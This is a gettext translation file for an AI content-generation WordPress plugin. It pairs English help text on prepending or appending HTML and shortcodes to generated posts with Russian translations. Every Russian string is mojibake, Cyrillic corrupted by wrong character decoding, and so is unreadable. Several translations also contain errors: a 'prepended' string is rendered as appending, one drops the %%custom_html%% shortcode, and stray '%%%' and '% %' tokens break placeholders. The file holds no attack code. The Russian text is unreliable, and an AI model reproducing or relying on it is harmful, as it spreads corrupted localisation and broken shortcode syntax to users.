from the rule settings -" #| " this will allow you to create partially or fully AI generated prompts " #| "which will be used for the content generators." msgid "" "Enter a HTML text that should be append to the AI generated content in each " "created post. You can use the following shortcodes: %%custom_html%%, " "%%custom_html2%%, %%search_keywords%%, %%all_product_titles%%, " "%%all_product_info%%, %%language%%, %%writing_style%%, %%writing_tone%%, " "%%sections_count%%, %%random_sentence%%, %%random_sentence2%%, " "%%blog_title%%, %%random_image[keyword]%%, %%random_image_url[keyword]%%, " "%%random_video[keyword]%%, %%royalty_free_image_attribution%% - you can also " "use an optional parameter in the random_image and random_video shortcodes, " "which will add a percentage chance for the media to appear or not - example: " "%%random_video[keyword][60]%% - a video will appear in 60% of cases, in the " "rest of 40%, nothing will be returned by the shortcode - Update: nested " "shortcodes also supported (shortcodes generated by rules from other plugins)." " You will also be able to use the custom shortcodes defined in the 'Custom " "Shortcode Creator' feature from the rule settings - this will allow you to " "create partially or fully AI generated prompts which will be used for the " "content generators." msgstr "" "Введите текÑÑ‚ HTML, который должен быть добавлен к контенту, Ñозданному AI, " "в каждом Ñозданном поÑту. Ð’Ñ‹ можете иÑпользовать Ñледующие короткие коды: " "%%custom_html%%, %%custom_html2%%, %%search_keywords%%, " "%%all_product_titles%%, %%all_product_info%%, %%language%%, " "%%writing_style%%, %%writing_tone%%, %%sections_count%%, %%random_sentence%%," " %%random_sentence2%%, %%blog_title%%, %%random_image[keyword]%%, " "%%random_image_url[keyword]%%, %%random_video[keyword]%%, " "%%royalty_free_image_attribution%% — вы также можете иÑпользовать " "необÑзательный параметр в шорткодах random_image и random_video, который " "добавит процентную вероÑтноÑÑ‚ÑŒ поÑÐ²Ð»ÐµÐ½Ð¸Ñ Ð¸Ð»Ð¸ отÑутÑÑ‚Ð²Ð¸Ñ Ð¼ÐµÐ´Ð¸Ð°Ñ„Ð°Ð¹Ð»Ð° — пример: " "%%random_video[ключевое Ñлово][60 ]%% - видео поÑвитÑÑ Ð² 60% Ñлучаев, в " "оÑтальных 40% шорткод ничего не вернет - Обновление: также поддерживаютÑÑ " "вложенные шорткоды (шорткоды, Ñгенерированные по правилам других плагинов). " "Ð’Ñ‹ также Ñможете иÑпользовать ÑобÑтвенные короткие коды, определенные в " "функции «Создатель пользовательÑких коротких кодов» в наÑтройках правил. Это " "позволит вам Ñоздавать чаÑтично или полноÑтью Ñгенерированные AI промпты, " "которые будут иÑпользоватьÑÑ Ð´Ð»Ñ Ð³ÐµÐ½ÐµÑ€Ð°Ñ‚Ð¾Ñ€Ð¾Ð² контента." #: res/aiomatic-youtube-list.php:4250 #| msgid "" #| "Enter a HTML text that should be prepended to the AI generated content in " #| "each created post. You can use the following shortcodes: %%custom_html%%, " #| "%%custom_html2%%, %%video_title%%, %%video_descripton%%, %%video_url%%, " #| "%%video_captions%%, %%language%%, %%writing_style%%, %%writing_tone%%, " #| "%%sections_count%%, %%random_sentence%%, %%random_sentence2%%, " #| "%%blog_title%%, %%random_image[keyword]%%, %%random_image_url[keyword]%%, " #| "%%random_video[keyword]%%, %%royalty_free_image_attribution%% - you can " #| "also use an optional parameter in the random_image and random_video " #| "shortcodes, which will add a percentage chance for the media to appear or " #| "not - example: %%random_video[keyword][60]%% - a video will appear in 60% " #| "of cases, in the rest of 40%, nothing will be returned by the shortcode - " #| "Update: nested shortcodes also supported (shortcodes generated by rules " #| "from other plugins). You will also be able to use the custom shortcodes " #| "defined in the 'Custom Shortcode Creator' feature from the rule settings -" #| " this will allow you to create partially or fully AI generated prompts " #| "which will be used for the content generators." msgid "" "Enter a HTML text that should be append to the AI generated content in each " "created post. You can use the following shortcodes: %%custom_html%%, " "%%custom_html2%%, %%video_title%%, %%video_descripton%%, %%video_url%%, " "%%video_id%%, %%video_captions%%, %%language%%, %%writing_style%%, " "%%writing_tone%%, %%sections_count%%, %%random_sentence%%, " "%%random_sentence2%%, %%blog_title%%, %%random_image[keyword]%%, " "%%random_image_url[keyword]%%, %%random_video[keyword]%%, " "%%royalty_free_image_attribution%% - you can also use an optional parameter " "in the random_image and random_video shortcodes, which will add a percentage " "chance for the media to appear or not - example: %%random_video[keyword][60]" "%% - a video will appear in 60% of cases, in the rest of 40%, nothing will " "be returned by the shortcode - Update: nested shortcodes also supported " "(shortcodes generated by rules from other plugins). You will also be able to " "use the custom shortcodes defined in the 'Custom Shortcode Creator' feature " "from the rule settings - this will allow you to create partially or fully AI " "generated prompts which will be used for the content generators." msgstr "" "Введите HTML-текÑÑ‚, который будет добавлÑÑ‚ÑŒÑÑ Ðº Ñгенерированному AI контенту " "в каждом Ñозданном поÑте. Ð’Ñ‹ можете иÑпользовать Ñледующие шорткоды: " "%%custom_html%%, %%custom_html2%%, %%video_title%%, %%video_descripton%%, " "%%video_url%%, %%video_id%%, %%video_captions%%, %%language%%, " "%%writing_style%%, %%writing_tone%%, %%sections_count%%, %%random_sentence%%," " %%random_sentence2%%, %%blog_title%%, %%random_image[keyword]%%, " "%%random_image_url[keyword]%%, %%random_video[keyword]%%, " "%%royalty_free_image_attribution%%% - в шорткодах random_image и " "random_video можно также иÑпользовать необÑзательный параметр, который " "добавит процентную вероÑтноÑÑ‚ÑŒ того, что медиа поÑвитÑÑ Ð¸Ð»Ð¸ нет - пример: " "%%random_video[keyword][60]%% - видео поÑвитÑÑ Ð² 60% Ñлучаев, в оÑтальных " "40% шорткод ничего не вернет - Обновление: также поддерживаютÑÑ Ð²Ð»Ð¾Ð¶ÐµÐ½Ð½Ñ‹Ðµ " "шорткоды (шорткоды, Ñозданные по правилам из других плагинов). Ð’Ñ‹ также " "Ñможете иÑпользовать пользовательÑкие шорткоды, определенные в функции " "'Создатель ПользовательÑких Шорткодов' из наÑтроек правил - Ñто позволит вам " "Ñоздавать чаÑтично или полноÑтью AI-генерируемые Промпты, которые будут " "иÑпользоватьÑÑ Ð´Ð»Ñ Ð³ÐµÐ½ÐµÑ€Ð°Ñ‚Ð¾Ñ€Ð¾Ð² контента." #: res/aiomatic-review-list.php:1833 res/aiomatic-single-list.php:7094 #| msgid "" #| "Set list of prompt commands (one on each line) you want to send to OpenAI " #| "for generating post categories. You can use the following shortcodes here:" #| " %%post_title%%, %%random_sentence%%, %%random_sentence2%%, " #| "%%blog_title%%. You can also add a link to a TXT file, containing " #| "keywords (one per line), or to an RSS feed. If you use RSS feeds, you can " #| "also use the following additional shortcodes: %%post_content%%, " #| "%%post_content_plain_text%%, %%post_excerpt%%, %%post_cats%%, " #| "%%author_name%%, %%current_date_time%%, %%post_link%%. The length of this " #| "command should not be greater than the max token count set in the " #| "settings for the prompt command - Update: nested shortcodes also " #| "supported (shortcodes generated by rules from other plugins). You can " #| "also add here a link to a .txt file, where you can add multiple prompts " #| "(one per line) and the plugin will select a random one at each run. You " #| "will also be able to use the custom shortcodes defined in the 'Custom " #| "Shortcode Creator' feature from the rule settings - this will allow you " #| "to create partially or fully AI generated prompts which will be used for " #| "the content generators." msgid "" "Enter a HTML text that should be appended to the AI generated content in " "each created post. You can use the following shortcodes: %%custom_html%%, " "%%custom_html2%%, %%product_title%%, %%product_description%%, %%aff_url%%, " "%%product_author%%, %%offer_price%%, %%product_price%%, " "%%product_list_price%%, %%product_brand%%, %%product_isbn%%, %%product_upc%%," " %%product_reviews%%, %%price_numeric%%, %%price_currency%%, " "%%product_asin%%, %%cart_url%%, %%list_price_numeric%%, %%product_imgs%%, " "%%search_keywords%%, %%language%%, %%writing_style%%, %%point_of_view%%, " "%%writing_tone%%, %%random_sentence%%, %%random_sentence2%%, %%blog_title%%, " "%%random_image[keyword]%%, %%random_image_url[keyword]%%, " "%%random_video[keyword]%%, %%royalty_free_image_attribution%% - you can also " "use an optional parameter in the random_image and random_video shortcodes, " "which will add a percentage chance for the media to appear or not - example: " "%%random_video[keyword][60]%% - a video will appear in 60% of cases, in the " "rest of 40%, nothing will be returned by the shortcode - Update: nested " "shortcodes also supported (shortcodes generated by rules from other plugins)." " You will also be able to use the custom shortcodes defined in the 'Custom " "Shortcode Creator' feature from the rule settings - this will allow you to " "create partially or fully AI generated prompts which will be used for the " "content generators." msgstr "" "Введите текÑÑ‚ HTML, который должен быть добавлен к контенту, Ñозданному AI, " "в каждом Ñозданном поÑту. Ð’Ñ‹ можете иÑпользовать Ñледующие короткие коды: " "%%custom_html%%, %%custom_html2%%, %%product_title%%, " "%%product_description%%, %%aff_url%%, %%product_author%%, %%offer_price%%, " "%%product_price%%, %%product_list_price%%, %%product_brand%%, " "%%product_isbn%%, %%product_upc%%, %%product_reviews%%, %%price_numeric%%, " "%%price_currency%%, %%product_asin%%, %%cart_url%%, %%list_price_numeric%%, " "%%product_imgs%%, %%search_keywords%%, %%language%%, %%writing_style%%, " "%%point_of_view%%, %%writing_tone%%, %%random_sentence%%, " "%%random_sentence2%%, %%blog_title%%, %%random_image[keyword]%%, " "%%random_image_url[keyword]%%, %%random_video[keyword]%%, " "%%royalty_free_image_attribution%% — вы также можете иÑпользовать " "необÑзательный параметр в шорткодах random_image и random_video, который " "добавит процентную вероÑтноÑÑ‚ÑŒ поÑÐ²Ð»ÐµÐ½Ð¸Ñ Ð¸Ð»Ð¸ отÑутÑÑ‚Ð²Ð¸Ñ Ð¼ÑƒÐ»ÑŒÑ‚Ð¸Ð¼ÐµÐ´Ð¸Ð° — пример:" " %%random_video[ключевое Ñлово][60]%% — видео поÑвитÑÑ Ð² 60 % Ñлучаев, в " "оÑтальных 40% шорткод ничего не вернет. Обновление: также поддерживаютÑÑ " "вложенные шорткоды (шорткоды, Ñозданные по правилам других плагинов). Ð’Ñ‹ " "также Ñможете иÑпользовать ÑобÑтвенные короткие коды, определенные в функции " "«Создатель пользовательÑких коротких кодов» в наÑтройках правил. Это " "позволит вам Ñоздавать чаÑтично или полноÑтью Ñгенерированные AI промпты, " "которые будут иÑпользоватьÑÑ Ð´Ð»Ñ Ð³ÐµÐ½ÐµÑ€Ð°Ñ‚Ð¾Ñ€Ð¾Ð² контента." #: res/aiomatic-rules-list.php:1962 res/aiomatic-single-list.php:2411 #: res/aiomatic-single-list.php:3161 msgid "" "Enter a HTML text that should be appended to the AI generated content in " "each created post. You can use the following shortcodes: %%custom_html%%, " "%%custom_html2%%, %%random_sentence%%, %%random_sentence2%%, " "%%random_image[keyword]%%, %%random_image_url[keyword]%%, " "%%random_video[keyword]%%, %%royalty_free_image_attribution%% - you can also " "use an optional parameter in the random_image and random_video shortcodes, " "which will add a percentage chance for the media to appear or not - example: " "%%random_video[keyword][60]%% - a video will appear in 60% of cases, in the " "rest of 40%, nothing will be returned by the shortcode - Update: nested " "shortcodes also supported (shortcodes generated by rules from other plugins)." " You will also be able to use the custom shortcodes defined in the 'Custom " "Shortcode Creator' feature from the rule settings - this will allow you to " "create partially or fully AI generated prompts which will be used for the " "content generators." msgstr "" "Введите текÑÑ‚ HTML, который должен быть добавлен к Ñодержимому, " "Ñгенерированному AI, в каждом Ñозданном ПоÑте. Ð’Ñ‹ можете иÑпользовать " "Ñледующие Шорткоды: %%custom_html%%, %%custom_html2%%, %%random_sentence%%, " "%%random_sentence2%%, %%random_image[ключевое Ñлово]%%, " "%%random_image_url[ключевое Ñлово]%%, % %random_video[ключевое Ñлово]%%, " "%%royalty_free_image_attribution%% — вы также можете иÑпользовать " "необÑзательный параметр в Шорткодах random_image и random_video, который " "добавит процентную вероÑтноÑÑ‚ÑŒ того, что медиа поÑвитÑÑ Ð¸Ð»Ð¸ нет — пример: " "%%random_video[ключевое Ñлово] [60]%% - видео поÑвитÑÑ Ð² 60% Ñлучаев, в " "оÑтальных 40% Шорткод ничего не вернет - Обновление: также поддерживаютÑÑ " "вложенные Шорткоды (Шорткоды генерируютÑÑ Ð¿Ð¾ правилам из других Плагинов). " "Ð’Ñ‹ также Ñможете иÑпользовать пользовательÑкие Шорткоды, определенные в " "функции «Создание пользовательÑких Шорткодов» в наÑтройках правил — Ñто " "позволит вам Ñоздавать чаÑтично или полноÑтью генерируемые иÑкуÑÑтвенным " "интеллектом Промпты, которые будут иÑпользоватьÑÑ Ð´Ð»Ñ Ð“ÐµÐ½ÐµÑ€Ð°Ñ‚Ð¾Ñ€Ð¾Ð² Контента." #: res/aiomatic-amazon-list.php:1764 res/aiomatic-single-list.php:5728 #| msgid "" #| "Enter a HTML text that should be appended to the AI generated content in " #| "each created post. You can use the following shortcodes: %%custom_html%%, " #| "%%custom_html2%%, %%search_keywords%%, %%all_product_titles%%, " #| "%%language%%, %%writing_style%%, %%writing_tone%%, %%sections_count%%, " #| "%%random_sentence%%, %%random_sentence2%%, %%blog_title%%, " #| "%%random_image[keyword]%%, %%random_image_url[keyword]%%, " #| "%%random_video[keyword]%%, %%royalty_free_image_attribution%% - you can " #| "also use an optional parameter in the random_image and random_video " #| "shortcodes, which will add a percentage chance for the media to appear or " #| "not - example: %%random_video[keyword][60]%% - a video will appear in 60% " #| "of cases, in the rest of 40%, nothing will be returned by the shortcode - " #| "Update: nested shortcodes also supported (shortcodes generated by rules " #| "from other plugins). You will also be able to use the custom shortcodes " #| "defined in the 'Custom Shortcode Creator' feature from the rule settings -" #| " this will allow you to create partially or fully AI generated prompts " #| "which will be used for the content generators." msgid "" "Enter a HTML text that should be appended to the AI generated content in " "each created post. You can use the following shortcodes: %%custom_html%%, " "%%custom_html2%%, %%search_keywords%%, %%all_product_titles%%, " "%%all_product_info%%, %%language%%, %%writing_style%%, %%writing_tone%%, " "%%sections_count%%, %%random_sentence%%, %%random_sentence2%%, " "%%blog_title%%, %%random_image[keyword]%%, %%random_image_url[keyword]%%, " "%%random_video[keyword]%%, %%royalty_free_image_attribution%% - you can also " "use an optional parameter in the random_image and random_video shortcodes, " "which will add a percentage chance for the media to appear or not - example: " "%%random_video[keyword][60]%% - a video will appear in 60% of cases, in the " "rest of 40%, nothing will be returned by the shortcode - Update: nested " "shortcodes also supported (shortcodes generated by rules from other plugins)." " You will also be able to use the custom shortcodes defined in the 'Custom " "Shortcode Creator' feature from the rule settings - this will allow you to " "create partially or fully AI generated prompts which will be used for the " "content generators." msgstr "" "Введите текÑÑ‚ HTML, который должен быть добавлен к контенту, Ñозданному AI, " "в каждом Ñозданном поÑту. Ð’Ñ‹ можете иÑпользовать Ñледующие короткие коды: " "%%custom_html%%, %%custom_html2%%, %%search_keywords%%, " "%%all_product_titles%%, %%all_product_info%%, %%language%%, " "%%writing_style%%, %%writing_tone%%, %%sections_count%%, %%random_sentence%%," " %%random_sentence2%%, %%blog_title%%, %%random_image[keyword]%%, " "%%random_image_url[keyword]%%, %%random_video[keyword]%%, " "%%royalty_free_image_attribution%% — вы также можете иÑпользовать " "необÑзательный параметр в шорткодах random_image и random_video, который " "добавит процентную вероÑтноÑÑ‚ÑŒ поÑÐ²Ð»ÐµÐ½Ð¸Ñ Ð¸Ð»Ð¸ отÑутÑÑ‚Ð²Ð¸Ñ Ð¼ÐµÐ´Ð¸Ð°Ñ„Ð°Ð¹Ð»Ð° — пример: " "%%random_video[ключевое Ñлово][60 ]%% - видео поÑвитÑÑ Ð² 60% Ñлучаев, в " "оÑтальных 40% шорткод ничего не вернет - Обновление: также поддерживаютÑÑ " "вложенные шорткоды (шорткоды, Ñгенерированные по правилам других плагинов). " "Ð’Ñ‹ также Ñможете иÑпользовать ÑобÑтвенные короткие коды, определенные в " "функции «Создатель пользовательÑких коротких кодов» в наÑтройках правил. Это " "позволит вам Ñоздавать чаÑтично или полноÑтью Ñгенерированные AI промпты, " "которые будут иÑпользоватьÑÑ Ð´Ð»Ñ Ð³ÐµÐ½ÐµÑ€Ð°Ñ‚Ð¾Ñ€Ð¾Ð² контента." #: res/aiomatic-single-list.php:4414 res/aiomatic-youtube-list.php:1720 #| msgid "" #| "Enter a HTML text that should be appended to the AI generated content in " #| "each created post. You can use the following shortcodes: %%custom_html%%, " #| "%%custom_html2%%, %%video_title%%, %%video_descripton%%, %%video_url%%, " #| "%%video_captions%%, %%language%%, %%writing_style%%, %%writing_tone%%, " #| "%%sections_count%%, %%random_sentence%%, %%random_sentence2%%, " #| "%%blog_title%%, %%random_image[keyword]%%, %%random_image_url[keyword]%%, " #| "%%random_video[keyword]%%, %%royalty_free_image_attribution%% - you can " #| "also use an optional parameter in the random_image and random_video " #| "shortcodes, which will add a percentage chance for the media to appear or " #| "not - example: %%random_video[keyword][60]%% - a video will appear in 60% " #| "of cases, in the rest of 40%, nothing will be returned by the shortcode - " #| "Update: nested shortcodes also supported (shortcodes generated by rules " #| "from other plugins). You will also be able to use the custom shortcodes " #| "defined in the 'Custom Shortcode Creator' feature from the rule settings -" #| " this will allow you to create partially or fully AI generated prompts " #| "which will be used for the content generators." msgid "" "Enter a HTML text that should be appended to the AI generated content in " "each created post. You can use the following shortcodes: %%custom_html%%, " "%%custom_html2%%, %%video_title%%, %%video_descripton%%, %%video_url%%, " "%%video_id%%, %%video_captions%%, %%language%%, %%writing_style%%, " "%%writing_tone%%, %%sections_count%%, %%random_sentence%%, " "%%random_sentence2%%, %%blog_title%%, %%random_image[keyword]%%, " "%%random_image_url[keyword]%%, %%random_video[keyword]%%, " "%%royalty_free_image_attribution%% - you can also use an optional parameter " "in the random_image and random_video shortcodes, which will add a percentage " "chance for the media to appear or not - example: %%random_video[keyword][60]" "%% - a video will appear in 60% of cases, in the rest of 40%, nothing will " "be returned by the shortcode - Update: nested shortcodes also supported " "(shortcodes generated by rules from other plugins). You will also be able to " "use the custom shortcodes defined in the 'Custom Shortcode Creator' feature " "from the rule settings - this will allow you to create partially or fully AI " "generated prompts which will be used for the content generators." msgstr "" "Введите HTML-текÑÑ‚, который будет добавлÑÑ‚ÑŒÑÑ Ðº Ñгенерированному AI контенту " "в каждом Ñозданном поÑте. Ð’Ñ‹ можете иÑпользовать Ñледующие шорткоды: " "%%custom_html%%, %%custom_html2%%, %%video_title%%, %%video_descripton%%, " "%%video_url%%, %%video_id%%, %%video_captions%%, %%language%%, " "%%writing_style%%, %%writing_tone%%, %%sections_count%%, %%random_sentence%%," " %%random_sentence2%%, %%blog_title%%, %%random_image[keyword]%%, " "%%random_image_url[keyword]%%, %%random_video[keyword]%%, " "%%royalty_free_image_attribution%%% - в шорткодах random_image и " "random_video можно также иÑпользовать необÑзательный параметр, который " "добавит процентную вероÑтноÑÑ‚ÑŒ того, что медиа поÑвитÑÑ Ð¸Ð»Ð¸ нет - пример: " "%%random_video[keyword][60]%% - видео поÑвитÑÑ Ð² 60% Ñлучаев, в оÑтальных " "40% шорткод ничего не вернет - Обновление: также поддерживаютÑÑ Ð²Ð»Ð¾Ð¶ÐµÐ½Ð½Ñ‹Ðµ " "шорткоды (шорткоды, Ñозданные по правилам из других плагинов). Ð’Ñ‹ также " "Ñможете иÑпользовать пользовательÑкие шорткоды, определенные в функции " "'Создание ПользовательÑких Шорткодов' из наÑтроек правил - Ñто позволит вам " "Ñоздавать чаÑтично или полноÑтью AI-генерируемые Промпты, которые будут " "иÑпользоватьÑÑ Ð´Ð»Ñ Ð³ÐµÐ½ÐµÑ€Ð°Ñ‚Ð¾Ñ€Ð¾Ð² контента." #: res/aiomatic-review-list.php:1818 res/aiomatic-review-list.php:4482 #: res/aiomatic-single-list.php:7079 #| msgid "" #| "Prompt to be used for the Content of the article, which will be applied " #| "to each section heading generated by the plugin (or entered manually) or " #| "to the entire content (depending how you select using the 'Use the Above " #| "Content Prompt To Create The Entire Article' checkbox). You can use the " #| "following shortcodes: %%product_title%%, %%product_description%%, " #| "%%language%%, %%all_product_titles%%, %%product_author%%, " #| "%%product_brand%%, %%product_isbn%%, %%product_upc%%, %%offer_url%%, " #| "%%offer_price%%, %%product_list_price%%, %%offer_img%%, %%price_numeric%%," #| " %%price_currency%%, %%review_link%%, %%product_asin%%, %%cart_url%%, " #| "%%list_price_numeric%%, %%product_imgs%%, %%product_imgs_html%%, " #| "%%price_with_discount_fixed%%, %%first_hand_experience_prompt%%, " #| "%%writing_style%%, %%writing_tone%%, %%sections%%, %%current_section%%, " #| "%%paragraphs_per_section%%, %%random_sentence%%, %%random_sentence2%%, " #| "%%blog_title%% - Update: nested shortcodes also supported (shortcodes " #| "generated by rules from other plugins). You will also be able to use the " #| "custom shortcodes defined in the 'Custom Shortcode Creator' feature from " #| "the rule settings - this will allow you to create partially or fully AI " #| "generated prompts which will be used for the content generators." msgid "" "Enter a HTML text that should be prepended to the AI generated content in " "each created post. You can use the following shortcodes: %%custom_html%%, " "%%custom_html2%%, %%product_title%%, %%product_description%%, %%aff_url%%, " "%%product_author%%, %%offer_price%%, %%product_price%%, " "%%product_list_price%%, %%product_brand%%, %%product_isbn%%, %%product_upc%%," " %%product_reviews%%, %%price_numeric%%, %%price_currency%%, " "%%product_asin%%, %%cart_url%%, %%list_price_numeric%%, %%product_imgs%%, " "%%search_keywords%%, %%language%%, %%writing_style%%, %%point_of_view%%, " "%%writing_tone%%, %%random_sentence%%, %%random_sentence2%%, %%blog_title%%, " "%%random_image[keyword]%%, %%random_image_url[keyword]%%, " "%%random_video[keyword]%%, %%royalty_free_image_attribution%% - you can also " "use an optional parameter in the random_image and random_video shortcodes, " "which will add a percentage chance for the media to appear or not - example: " "%%random_video[keyword][60]%% - a video will appear in 60% of cases, in the " "rest of 40%, nothing will be returned by the shortcode - Update: nested " "shortcodes also supported (shortcodes generated by rules from other plugins)." " You will also be able to use the custom shortcodes defined in the 'Custom " "Shortcode Creator' feature from the rule settings - this will allow you to " "create partially or fully AI generated prompts which will be used for the " "content generators." msgstr "" "Введите HTML-текÑÑ‚, который должен добавлÑÑ‚ÑŒÑÑ Ðº контенту, Ñозданному ИИ, в " "каждом Ñозданном поÑте. Ð’Ñ‹ можете иÑпользовать Ñледующие короткие коды: " "%%custom_html%%, %%custom_html2%%, %%product_title%%, " "%%product_description%%, %%aff_url%%, %%product_author%%, %%offer_price%%, " "%%product_price%%, %%product_list_price%%, %%product_brand%%, " "%%product_isbn%%, %%product_upc%%, %%product_reviews%%, %%price_numeric%%, " "%%price_currency%%, %%product_asin%%, %%cart_url%%, %%list_price_numeric%%, " "%%product_imgs%%, %%search_keywords%%, %%language%%, %%writing_style%%, " "%%point_of_view%%, %%writing_tone%%, %%random_sentence%%, " "%%random_sentence2%%, %%blog_title%%, %%random_image[keyword]%%, " "%%random_image_url[keyword]%%, %%random_video[keyword]%%, " "%%royalty_free_image_attribution%% — вы также можете иÑпользовать " "необÑзательный параметр в шорткодах random_image и random_video, который " "добавит процентную вероÑтноÑÑ‚ÑŒ поÑÐ²Ð»ÐµÐ½Ð¸Ñ Ð¸Ð»Ð¸ отÑутÑÑ‚Ð²Ð¸Ñ Ð¼ÑƒÐ»ÑŒÑ‚Ð¸Ð¼ÐµÐ´Ð¸Ð° — пример:" " %%random_video[ключевое Ñлово][60]%% — видео поÑвитÑÑ Ð² 60 % Ñлучаев, в " "оÑтальных 40% шорткод ничего не вернет. Обновление: также поддерживаютÑÑ " "вложенные шорткоды (шорткоды, Ñозданные по правилам других плагинов). Ð’Ñ‹ " "также Ñможете иÑпользовать ÑобÑтвенные короткие коды, определенные в функции " "«Создатель пользовательÑких коротких кодов» в наÑтройках правил. Это " "позволит вам Ñоздавать чаÑтично или полноÑтью Ñгенерированные AI промпты, " "которые будут иÑпользоватьÑÑ Ð´Ð»Ñ Ð³ÐµÐ½ÐµÑ€Ð°Ñ‚Ð¾Ñ€Ð¾Ð² контента." #: res/aiomatic-rules-list.php:1947 res/aiomatic-rules-list.php:4718 #: res/aiomatic-single-list.php:2396 res/aiomatic-single-list.php:3146 msgid "" "Enter a HTML text that should be prepended to the AI generated content in " "each created post. You can use the following shortcodes: %%custom_html%%, " "%%custom_html2%%, %%random_sentence%%, %%random_sentence2%%, " "%%random_image[keyword]%%, %%random_image_url[keyword]%%, " "%%random_video[keyword]%%, %%royalty_free_image_attribution%% - you can also " "use an optional parameter in the random_image and random_video shortcodes, " "which will add a percentage chance for the media to appear or not - example: " "%%random_video[keyword][60]%% - a video will appear in 60% of cases, in the " "rest of 40%, nothing will be returned by the shortcode - Update: nested " "shortcodes also supported (shortcodes generated by rules from other plugins)." " You will also be able to use the custom shortcodes defined in the 'Custom " "Shortcode Creator' feature from the rule settings - this will allow you to " "create partially or fully AI generated prompts which will be used for the " "content generators." msgstr "" "Введите HTML-текÑÑ‚, который должен добавлÑÑ‚ÑŒÑÑ Ðº Ñодержимому, " "Ñгенерированному AI, в каждом Ñозданном ПоÑте. Ð’Ñ‹ можете иÑпользовать " "Ñледующие Шорткоды: %%custom_html%%, %%custom_html2%%, %%random_sentence%%, " "%%random_sentence2%%, %%random_image[ключевое Ñлово]%%, " "%%random_image_url[ключевое Ñлово]%%, % %random_video[ключевое Ñлово]%%, " "%%royalty_free_image_attribution%% — вы также можете иÑпользовать " "необÑзательный параметр в Шорткодах random_image и random_video, который " "добавит процентную вероÑтноÑÑ‚ÑŒ того, что медиа поÑвитÑÑ Ð¸Ð»Ð¸ нет — пример: " "%%random_video[ключевое Ñлово] [60]%% - видео поÑвитÑÑ Ð² 60% Ñлучаев, в " "оÑтальных 40% Шорткод ничего не вернет - Обновление: также поддерживаютÑÑ " "вложенные Шорткоды (Шорткоды генерируютÑÑ Ð¿Ð¾ правилам из других Плагинов). " "Ð’Ñ‹ также Ñможете иÑпользовать пользовательÑкие Шорткоды, определенные в " "функции «Создание пользовательÑких Шорткодов» в наÑтройках правил — Ñто " "позволит вам Ñоздавать чаÑтично или полноÑтью генерируемые иÑкуÑÑтвенным " "интеллектом Промпты, которые будут иÑпользоватьÑÑ Ð´Ð»Ñ Ð“ÐµÐ½ÐµÑ€Ð°Ñ‚Ð¾Ñ€Ð¾Ð² Контента." #: res/aiomatic-amazon-list.php:1749 res/aiomatic-amazon-list.php:4329 #: res/aiomatic-single-list.php:5713 #| msgid "" #| "Enter a HTML text that should be append to the AI generated content in " #| "each created post. You can use the following shortcodes: %%custom_html%%, " #| "%%custom_html2%%, %%search_keywords%%, %%all_product_titles%%, " #| "%%language%%, %%writing_style%%, %%writing_tone%%, %%sections_count%%, " #| "%%random_sentence%%, %%random_sentence2%%, %%blog_title%%, " #| "%%random_image[keyword]%%, %%random_image_url[keyword]%%, " #| "%%random_video[keyword]%%, %%royalty_free_image_attribution%% - you can " #| "also use an optional parameter in the random_image and random_video " #| "shortcodes, which will add a percentage chance for the media to appear or " #| "not - example: %%random_video[keyword][60]%% - a video will appear in 60% " #| "of cases, in the rest of 40%, nothing will be returned by the shortcode - " #| "Update: nested shortcodes also supported (shortcodes generated by rules " #| "from other plugins). You will also be able to use the custom shortcodes " #| "defined in the 'Custom Shortcode Creator' feature from the rule settings -" #| " this will allow you to create partially or fully AI generated prompts " #| "which will be used for the content generators." msgid "" "Enter a HTML text that should be prepended to the AI generated content in " "each created post. You can use the following shortcodes: %%custom_html%%, " "%%custom_html2%%, %%search_keywords%%, %%all_product_titles%%, " "%%all_product_info%%, %%language%%, %%writing_style%%, %%writing_tone%%, " "%%sections_count%%, %%random_sentence%%, %%random_sentence2%%, " "%%blog_title%%, %%random_image[keyword]%%, %%random_image_url[keyword]%%, " "%%random_video[keyword]%%, %%royalty_free_image_attribution%% - you can also " "use an optional parameter in the random_image and random_video shortcodes, " "which will add a percentage chance for the media to appear or not - example: " "%%random_video[keyword][60]%% - a video will appear in 60% of cases, in the " "rest of 40%, nothing will be returned by the shortcode - Update: nested " "shortcodes also supported (shortcodes generated by rules from other plugins)." " You will also be able to use the custom shortcodes defined in the 'Custom " "Shortcode Creator' feature from the rule settings - this will allow you to " "create partially or fully AI generated prompts which will be used for the " "content generators." msgstr "" "Введите HTML-текÑÑ‚, который должен добавлÑÑ‚ÑŒÑÑ Ðº контенту, Ñозданному ИИ, в " "каждом Ñозданном поÑте. Ð’Ñ‹ можете иÑпользовать Ñледующие короткие коды: " "%%custom_html2%%, %%search_keywords%%, %%all_product_titles%%, " "%%all_product_info%%, %%language%%, %%writing_style%%, %%writing_tone%%, " "%%sections_count%%, %%random_sentence%%, %%random_sentence2%%, " "%%blog_title%%, %%random_image[keyword]%%, %%random_image_url[keyword]%%, " "%%random_video[keyword]%%, %%royalty_free_image_attribution%% — вы также " "можете иÑпользовать необÑзательный параметр в шорткодах random_image и " "random_video, который добавит процентную вероÑтноÑÑ‚ÑŒ поÑÐ²Ð»ÐµÐ½Ð¸Ñ Ð¸Ð»Ð¸ " "отÑутÑÑ‚Ð²Ð¸Ñ Ð¼ÐµÐ´Ð¸Ð°Ñ„Ð°Ð¹Ð»Ð° — пример: %%random_video[ключевое Ñлово][60 ]%% - " "видео поÑвитÑÑ Ð² 60% Ñлучаев, в оÑтальных 40% шорткод ничего не вернет - " "Обновление: также поддерживаютÑÑ Ð²Ð»Ð¾Ð¶ÐµÐ½Ð½Ñ‹Ðµ шорткоды (шорткоды, " "Ñгенерированные по правилам других плагинов). Ð’Ñ‹ также Ñможете иÑпользовать " "ÑобÑтвенные короткие коды, определенные в функции «Создатель " "пользовательÑких коротких кодов» в наÑтройках правил. Это позволит вам " "Ñоздавать чаÑтично или полноÑтью Ñгенерированные AI промпты, которые будут " "иÑпользоватьÑÑ Ð´Ð»Ñ Ð³ÐµÐ½ÐµÑ€Ð°Ñ‚Ð¾Ñ€Ð¾Ð² контента." #: res/aiomatic-single-list.php:4399 res/aiomatic-youtube-list.php:1705 #: res/aiomatic-youtube-list.php:4240 #| msgid "" #| "Enter a HTML text that should be append to the AI generated content in " #| "each created post. You can use the following shortcodes: %%custom_html%%, " #| "%%custom_html2%%, %%video_title%%, %%video_descripton%%, %%video_url%%, " #| "%%video_captions%%, %%language%%, %%writing_style%%, %%writing_tone%%, " #| "%%sections_count%%, %%random_sentence%%, %%random_sentence2%%, " #| "%%blog_title%%, %%random_image[keyword]%%, %%random_image_url[keyword]%%, " #| "%%random_video[keyword]%%, %%royalty_free_image_attribution%% - 